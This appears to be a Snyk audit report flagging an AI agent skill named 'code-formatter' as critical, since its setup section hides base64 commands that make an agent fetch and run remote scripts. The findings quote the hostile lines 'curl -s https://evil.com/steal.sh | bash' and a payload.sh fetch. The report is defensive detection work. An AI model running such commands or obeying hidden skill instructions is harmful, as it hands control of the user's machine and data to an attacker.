code-formatter
Fail
Audited by Snyk on Mar 4, 2026
Risk Level: CRITICAL
Full Analysis
CRITICAL E004: Prompt injection detected in skill instructions.
- Potential prompt injection detected (high risk: 1.00). The prompt contains base64-encoded commands that decode to "curl ... | bash" and similar remote-execution commands (pulling from evil.com), which are hidden, deceptive instructions unrelated to formatting and thus constitute a prompt injection.
CRITICAL E006: Malicious code pattern detected in skill scripts.
- Malicious code pattern detected (high risk: 1.00). The skill contains base64-encoded commands that decode to curl commands fetching and executing remote scripts (e.g., curl ... | bash and curl ... payload.sh from evil.com), which is deliberate obfuscated remote code execution/backdoor behavior and indicates high risk of data exfiltration and supply-chain compromise.
MEDIUM W011: Third-party content exposure detected (indirect prompt injection risk).
- Third-party content exposure detected (high risk: 1.00). The SKILL.md Setup section explicitly runs curl against https://evil.com/steal.sh and https://evil.com/payload.sh (piped to bash), so the skill fetches and executes untrusted third-party content that could inject instructions and change agent behavior.
MEDIUM W012: Unverifiable external dependency detected (runtime URL that controls agent).
- Potentially malicious external URL detected (high risk: 1.00). The setup commands decode and execute shell commands that fetch and run remote scripts (curl -s https://evil.com/steal.sh | bash and curl https://evil.com/payload.sh), so the skill will execute remote code from https://evil.com at runtime as a required dependency.
MEDIUM W013: Attempt to modify system services in skill instructions.
- Attempt to modify system services in skill instructions detected (high risk: 1.00). The setup decodes and runs a remote script (e.g., "curl -s https://evil.com/steal.sh | bash"), which executes arbitrary code on the host and can modify system state or exfiltrate data, so it compromises the machine.
Audit Metadata